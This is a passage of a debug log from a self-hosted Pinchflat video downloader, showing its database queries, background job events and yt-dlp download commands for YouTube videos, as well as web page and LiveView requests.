count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 21:11:16.200 [debug] QUERY OK source="sources" db=1.0ms idle=141.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 21:11:16.200 [debug] Replied in 2ms 21:11:16.202 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 21:11:16.202 [debug] Replied in 104µs 21:11:28.648 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:35.570 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=wGSOMKSRjkc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/1b/b6/1bb648c18fc732676e8e441b64e61f1959938557da5631238ac9f051363d00be.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:11:35.580 [debug] Running yt-dlp command for action: download_thumbnail 21:11:35.580 [debug] QUERY OK source="settings" db=0.0ms idle=1522.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:35.580 [debug] QUERY OK source="settings" db=0.0ms idle=1522.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:35.580 [debug] QUERY OK source="settings" db=0.0ms idle=1523.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:35.580 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=wGSOMKSRjkc --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/20/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/6f/56/6f5655cb1082bad0006657f3d071f0030caed45eb2880011596f2d7a4b855e50.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:11:38.310 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=wGSOMKSRjkc --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/20/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/6f/56/6f5655cb1082bad0006657f3d071f0030caed45eb2880011596f2d7a4b855e50.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:11:38.311 [debug] QUERY OK db=0.0ms idle=1253.5ms begin [] 21:11:38.311 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:11:35Z], "/downloads/Last Meals/2023-03-23 Brittany Broski Eats Her Last Meal/Brittany Broski Eats Her Last Meal [wGSOMKSRjkc].mp4", ~U[2026-03-28 01:11:38Z], 20] 21:11:38.312 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/20/metadata.json.gz", "/config/metadata/media_items/20/thumbnail.jpg", 20, ~U[2026-03-28 01:11:38Z], ~U[2026-03-28 01:11:38Z]] 21:11:38.312 [debug] QUERY OK db=0.0ms commit [] 21:11:38.314 [debug] QUERY OK source="media_items" db=0.6ms idle=1256.5ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [371618453, ~U[2026-03-28 01:11:38Z], 20] 21:11:38.314 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:11:38.315 [info] {"args":{"id":20},"id":23,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":129464956,"event":"job:stop","queue_time":1327849413,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:11:38.320 [info] {"args":{"id":21},"id":24,"meta":{},"system_time":1774660298320671657,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:11:38.320 [debug] QUERY OK source="media_items" db=0.0ms idle=263.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [21] 21:11:38.320 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:11:38.321 [debug] QUERY OK source="sources" db=0.0ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:11:38.321 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:11:38.321 [debug] QUERY OK source="media_items" db=0.0ms idle=6.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [21] 21:11:38.321 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [21] 21:11:38.321 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:11:38.321 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:38.321 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:38.321 [debug] Running yt-dlp command for action: get_downloadable_status 21:11:38.321 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:38.322 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:38.322 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:38.322 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=iL7lW-jOI_M --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/7a/e6/7ae6f6742a6b6f216247bed54158b6fd23dd0ac23d8c972445ef59701272d03a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:11:40.543 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=iL7lW-jOI_M --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/7a/e6/7ae6f6742a6b6f216247bed54158b6fd23dd0ac23d8c972445ef59701272d03a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:11:40.544 [debug] Running yt-dlp command for action: download 21:11:40.544 [debug] QUERY OK source="settings" db=0.0ms idle=984.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:40.544 [debug] QUERY OK source="settings" db=0.0ms idle=486.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:40.544 [debug] QUERY OK source="settings" db=0.0ms idle=486.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:40.544 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=iL7lW-jOI_M --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/3d/43/3d43744f5253db4c8e9ff5c477c22c4476c2ca744cc3b827afc40aa8d9715495.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:11:42.997 [info] GET / 21:11:42.997 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:11:42.997 [debug] QUERY OK source="settings" db=0.1ms idle=939.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:42.997 [debug] QUERY OK source="media_profiles" db=0.0ms idle=940.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:11:42.997 [debug] QUERY OK source="sources" db=0.0ms idle=940.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:11:42.997 [debug] QUERY OK source="media_items" db=0.1ms idle=940.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:11:42.997 [debug] QUERY OK source="media_items" db=0.0ms idle=435.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:11:42.998 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:42.998 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:42.998 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:42.998 [debug] QUERY OK source="tasks" db=0.1ms idle=0.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:11:42.998 [debug] QUERY OK source="media_items" db=0.0ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [19, 21] 21:11:42.999 [debug] QUERY OK source="media_items" db=0.0ms idle=1.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:11:42.999 [debug] QUERY OK source="media_items" db=0.1ms idle=1.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:11:42.999 [debug] QUERY OK source="sources" db=0.0ms idle=1.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:11:43.000 [debug] QUERY OK source="media_items" db=0.1ms idle=1.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:11:43.000 [debug] QUERY OK source="media_items" db=0.2ms idle=1.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:11:43.001 [debug] QUERY OK source="sources" db=0.0ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:11:43.001 [info] Sent 200 in 4ms 21:11:43.089 [info] CONNECTED TO Phoenix.LiveView.Socket in 21µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "CHZTXG1xByECcgZMNyciPFUtI3IlcDFhIFkqZEVo2Fp9qFJwxjh9iHpY", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:11:43.156 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8", "media_state" => "downloaded"} 21:11:43.156 [debug] QUERY OK source="media_items" db=0.1ms idle=156.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:11:43.156 [debug] QUERY OK source="media_items" db=0.3ms idle=156.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", 